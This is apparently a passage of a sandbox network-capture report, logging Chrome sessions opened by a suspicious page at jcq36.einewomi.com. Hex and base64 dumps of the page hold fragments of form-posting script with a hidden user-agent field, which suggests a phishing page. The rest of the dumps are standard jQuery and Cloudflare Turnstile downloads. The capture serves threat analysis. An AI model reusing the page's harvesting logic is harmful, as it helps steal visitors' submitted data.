2024-04-24 21:07:33 UTC	1369	IN	Data Raw: 54 49 67 65 32 31 68 63 6d 64 70 62 69 31 30 62 33 41 36 49 44 41 75 4e 58 4a 6c 62 53 46 70 62 58 42 76 63 6e 52 68 62 6e 51 37 66 51 30 4b 49 32 31 53 63 31 68 6f 54 6d 5a 46 51 33 59 67 4c 6d 67 30 49 48 74 6d 62 32 35 30 4c 58 4e 70 65 6d 55 36 49 47 4e 68 62 47 4d 6f 4c 6a 6b 77 4d 48 4a 6c 62 53 41 72 49 43 34 7a 64 6e 63 70 4f 33 30 4e 43 69 4e 74 55 6e 4e 59 61 45 35 6d 52 55 4e 32 49 43 35 71 64 58 4e 30 61 57 5a 35 4c 57 4e 76 62 6e 52 6c 62 6e 51 74 59 32 56 75 64 47 56 79 65 32 70 31 63 33 52 70 5a 6e 6b 74 59 32 39 75 64 47 56 75 64 44 70 6a 5a 57 35 30 5a 58 49 68 61 57 31 77 62 33 4a 30 59 57 35 30 4f 33 30 4e 43 69 4e 74 55 6e 4e 59 61 45 35 6d 52 55 4e 32 4c 6d 31 30 4c 54 56 37 62 57 46 79 5a 32 6c 75 4c 58 52 76 63 44 6f 7a 63 6d 56 74 Data Ascii: TIge21hcmdpbi10b3A6IDAuNXJlbSFpbXBvcnRhbnQ7fQ0KI21Sc1hoTmZFQ3YgLmg0IHtmb250LXNpemU6IGNhbGMoLjkwMHJlbSArIC4zdncpO30NCiNtUnNYaE5mRUN2IC5qdXN0aWZ5LWNvbnRlbnQtY2VudGVye2p1c3RpZnktY29udGVudDpjZW50ZXIhaW1wb3J0YW50O30NCiNtUnNYaE5mRUN2Lm10LTV7bWFyZ2luLXRvcDozcmVt
2024-04-24 21:07:33 UTC	1369	IN	Data Raw: 55 39 49 6d 68 30 64 48 42 7a 4f 69 38 76 59 57 4e 74 5a 57 46 31 64 47 38 75 61 57 34 76 49 6a 34 4e 43 6a 78 70 62 6e 42 31 64 43 42 30 65 58 42 6c 50 53 4a 6f 61 57 52 6b 5a 57 34 69 49 47 6c 6b 50 53 4a 69 62 48 52 6b 64 57 45 69 49 47 35 68 62 57 55 39 49 6d 4a 73 64 47 52 31 59 53 49 67 64 6d 46 73 64 57 55 39 49 6b 31 76 65 6d 6c 73 62 47 45 76 4e 53 34 77 49 43 68 58 61 57 35 6b 62 33 64 7a 49 45 35 55 49 44 45 77 4c 6a 41 37 49 46 64 70 62 6a 59 30 4f 79 42 34 4e 6a 51 70 49 45 46 77 63 47 78 6c 56 32 56 69 53 32 6c 30 4c 7a 55 7a 4e 79 34 7a 4e 69 41 6f 53 30 68 55 54 55 77 73 49 47 78 70 61 32 55 67 52 32 56 6a 61 32 38 70 49 45 4e 6f 63 6d 39 74 5a 53 38 78 4d 54 63 75 4d 43 34 77 4c 6a 41 67 55 32 46 6d 59 58 4a 70 4c 7a 55 7a 4e 79 34 7a 4e Data Ascii: U9Imh0dHBzOi8vYWNtZWF1dG8uaW4vIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJibHRkdWEiIG5hbWU9ImJsdGR1YSIgdmFsdWU9Ik1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMTcuMC4wLjAgU2FmYXJpLzUzNy4zN
2024-04-24 21:07:33 UTC	722	IN	Data Raw: 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 42 69 62 32 52 35 4f 69 42 75 5a 58 63 67 52 6d 39 79 62 55 52 68 64 47 45 6f 61 33 4e 31 51 55 35 33 61 6e 46 75 53 43 6b 4e 43 69 41 67 49 43 41 67 49 43 41 67 66 53 6b 75 64 47 68 6c 62 69 68 79 5a 58 4e 77 62 32 35 7a 5a 53 41 39 50 69 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 42 79 5a 58 52 31 63 6d 34 67 63 6d 56 7a 63 47 39 75 63 32 55 75 61 6e 4e 76 62 69 67 70 4f 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 39 4b 53 35 30 61 47 56 75 4b 47 52 68 64 47 45 67 50 54 34 67 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 61 57 59 6f 5a 47 46 30 59 56 73 6e 63 33 52 68 64 48 56 7a 4a 31 30 67 50 54 30 67 4a 33 4e 31 59 32 4e 6c 63 33 4d 6e 4b 58 73 4e 43 69 41 67 49 43 41 67 49 43 Data Ascii: gICAgICAgICAgICBib2R5OiBuZXcgRm9ybURhdGEoa3N1QU53anFuSCkNCiAgICAgICAgfSkudGhlbihyZXNwb25zZSA9PiB7DQogICAgICAgICAgICByZXR1cm4gcmVzcG9uc2UuanNvbigpOw0KICAgICAgICB9KS50aGVuKGRhdGEgPT4gew0KICAgICAgICAgICAgaWYoZGF0YVsnc3RhdHVzJ10gPT0gJ3N1Y2Nlc3MnKXsNCiAgICAgIC
2024-04-24 21:07:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49722	104.17.3.184	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:07:33 UTC	650	OUT	GET /turnstile/v0/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://jcq36.einewomi.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 21:07:33 UTC	352	IN	HTTP/1.1 302 Found Date: Wed, 24 Apr 2024 21:07:33 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, public location: /turnstile/v0/b/471dc2adc340/api.js?render=explicit cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 87991048eb2c0acf-LAS alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49721	151.101.130.137	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:07:33 UTC	624	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://jcq36.einewomi.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 21:07:33 UTC	567	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Wed, 24 Apr 2024 21:07:33 GMT Age: 3758341 X-Served-By: cache-lga21931-LGA, cache-bur-kbur8200082-BUR X-Cache: HIT, HIT X-Cache-Hits: 39, 1 X-Timer: S1713992854.884015,VS0,VE1 Vary: Accept-Encoding
2024-04-24 21:07:33 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-04-24 21:07:34 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2024-04-24 21:07:34 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2024-04-24 21:07:34 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2024-04-24 21:07:34 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2024-04-24 21:07:34 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49723	104.17.3.184	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:07:36 UTC	665	OUT	GET /turnstile/v0/b/471dc2adc340/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://jcq36.einewomi.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 21:07:36 UTC	340	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:07:36 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 42415 Connection: close Access-Control-Allow-Origin: * Cache-Control: max-age=31536000 Cross-Origin-Resource-Policy: cross-origin Server: cloudflare CF-RAY: 87991059ab300ad3-LAS alt-svc: h3=":443"; ma=86400
2024-04-24 21:07:36 UTC	1029	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 62 74 28 65 2c 72 2c 74 2c 6f 2c 75 2c 73 2c 6d 29 7b 74 72 79 7b 76 61 72 20 62 3d 65 5b 73 5d 28 6d 29 2c 68 3d 62 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 64 29 7b 74 28 64 29 3b 72 65 74 75 72 6e 7d 62 2e 64 6f 6e 65 3f 72 28 68 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 68 29 2e 74 68 65 6e 28 6f 2c 75 29 7d 66 75 6e 63 74 69 6f 6e 20 45 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 74 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 75 29 7b 76 61 72 20 73 3d 65 2e 61 70 70 6c 79 28 72 2c 74 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function bt(e,r,t,o,u,s,m){try{var b=e[s](m),h=b.value}catch(d){t(d);return}b.done?r(h):Promise.resolve(h).then(o,u)}function Et(e){return function(){var r=this,t=arguments;return new Promise(function(o,u){var s=e.apply(r,t);funct
2024-04-24 21:07:36 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 75 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 75 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 74 2e 70 75 73 68 2e 61 70 70 6c 79 28 74 2c 6f 29 7d 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 77 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 6c 6c 3f 72 3a 7b 7d 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 28 65 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 28 72 29 29 3a 66 72 28 4f 62 6a 65 63 74 28 72 29 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 Data Ascii: tion(u){return Object.getOwnPropertyDescriptor(e,u).enumerable})),t.push.apply(t,o)}return t}function wt(e,r){return r=r!=null?r:{},Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):fr(Object(r)).forEach(funct
2024-04-24 21:07:36 UTC	1369	IN	Data Raw: 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 52 65 28 65 2c 72 29 7b 76 61 72 20 74 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 73 5b 30 5d 26 31 29 74 68 72 6f 77 20 73 5b 31 5d 3b 72 65 74 75 72 6e 20 73 5b 31 5d 7d 2c 74 72 79 73 3a 5b 5d 2c 6f 70 73 3a 5b 5d 7d 2c 6f 2c 75 2c 73 2c 6d 3b 72 65 74 75 72 6e 20 6d 3d 7b 6e 65 78 74 3a 62 28 30 29 2c 74 68 72 6f 77 3a 62 28 31 29 2c 72 65 74 75 72 6e 3a 62 28 32 29 7d 2c 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 28 6d 5b 53 79 6d 62 6f Data Ascii: &typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Re(e,r){var t={label:0,sent:function(){if(s[0]&1)throw s[1];return s[1]},trys:[],ops:[]},o,u,s,m;return m={next:b(0),throw:b(1),return:b(2)},typeof Symbol=="function"&&(m[Symbo
2024-04-24 21:07:36 UTC	1369	IN	Data Raw: 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 4f 74 3d 33 30 30 30 32 30 3b 76 61 72 20 4f 65 3d 33 30 30 30 33 30 3b 66 75 6e 63 74 69 6f 6e 20 4e 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 65 2e 69 6e 64 65 78 4f 66 28 72 29 21 3d 3d 2d 31 7d 76 61 72 20 44 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4d 41 4e 41 47 45 44 3d 22 6d 61 6e 61 67 65 64 22 2c 65 2e 4e 4f 4e 5f 49 4e 54 45 52 41 43 54 49 56 45 3d 22 6e 6f 6e 2d 69 6e 74 65 72 61 63 74 69 76 65 22 2c 65 2e 49 4e 56 49 53 49 42 4c 45 3d 22 69 6e 76 69 73 69 62 6c 65 22 7d 29 28 44 7c 7c 28 44 3d 7b 7d 29 29 3b 76 Data Ascii: me parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Ot=300020;var Oe=300030;function N(e,r){return e.indexOf(r)!==-1}var D;(function(e){e.MANAGED="managed",e.NON_INTERACTIVE="non-interactive",e.INVISIBLE="invisible"})(D\|\|(D={}));v
2024-04-24 21:07:36 UTC	1369	IN	Data Raw: 6e 67 22 26 26 70 72 2e 74 65 73 74 28 65 29 7d 76 61 72 20 76 72 3d 2f 5e 5b 61 2d 7a 30 2d 39 5f 5c 2d 3d 5d 7b 30 2c 32 35 35 7d 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 4a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 76 6f 69 64 20 30 3f 21 30 3a 74 79 70 65 6f 66 20 65 3d 3d 22 73 74 72 69 6e 67 22 26 26 76 72 2e 74 65 73 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 5a 65 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 6e 6f 72 6d 61 6c 22 2c 22 63 6f 6d 70 61 63 74 22 2c 22 69 6e 76 69 73 69 62 6c 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 65 74 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 74 74 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 61 Data Ascii: ng"&&pr.test(e)}var vr=/^[a-z0-9_\-=]{0,255}$/i;function Je(e){return e===void 0?!0:typeof e=="string"&&vr.test(e)}function Ze(e){return N(["normal","compact","invisible"],e)}function et(e){return N(["auto","manual","never"],e)}function tt(e){return N(["a
2024-04-24 21:07:36 UTC	1369	IN	Data Raw: 28 74 79 70 65 6f 66 20 50 72 6f 78 79 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 30 3b 74 72 79 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 4f 66 2e 63 61 6c 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 78 65 28 65 2c 72 2c 74 29 7b 72 65 74 75 72 6e 20 4e 65 28 29 3f 78 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 78 65 3d 66 75 6e 63 74 69 6f 6e 28 75 2c 73 2c 6d 29 7b 76 61 72 20 62 3d 5b 6e 75 6c 6c 5d 3b 62 2e 70 75 73 68 2e 61 70 70 6c 79 28 62 2c 73 29 3b 76 61 72 20 68 3d 46 75 6e 63 Data Ascii: (typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function xe(e,r,t){return Ne()?xe=Reflect.construct:xe=function(u,s,m){var b=[null];b.push.apply(b,s);var h=Func
2024-04-24 21:07:36 UTC	1369	IN	Data Raw: 6b 65 28 73 29 2c 22 63 6f 64 65 22 2c 76 6f 69 64 20 30 29 2c 73 2e 6e 61 6d 65 3d 22 54 75 72 6e 73 74 69 6c 65 45 72 72 6f 72 22 2c 73 2e 63 6f 64 65 3d 75 2c 73 7d 72 65 74 75 72 6e 20 74 7d 28 4c 65 28 45 72 72 6f 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 76 28 65 2c 72 29 7b 76 61 72 20 74 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 59 74 28 74 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 5f 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 29 7d 66 75 6e 63 74 69 6f 6e 20 62 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 Data Ascii: ke(s),"code",void 0),s.name="TurnstileError",s.code=u,s}return t}(Le(Error));function v(e,r){var t="[Cloudflare Turnstile] ".concat(e,".");throw new Yt(t,r)}function _(e){console.warn("[Cloudflare Turnstile] ".concat(e,"."))}function be(e){return e.starts
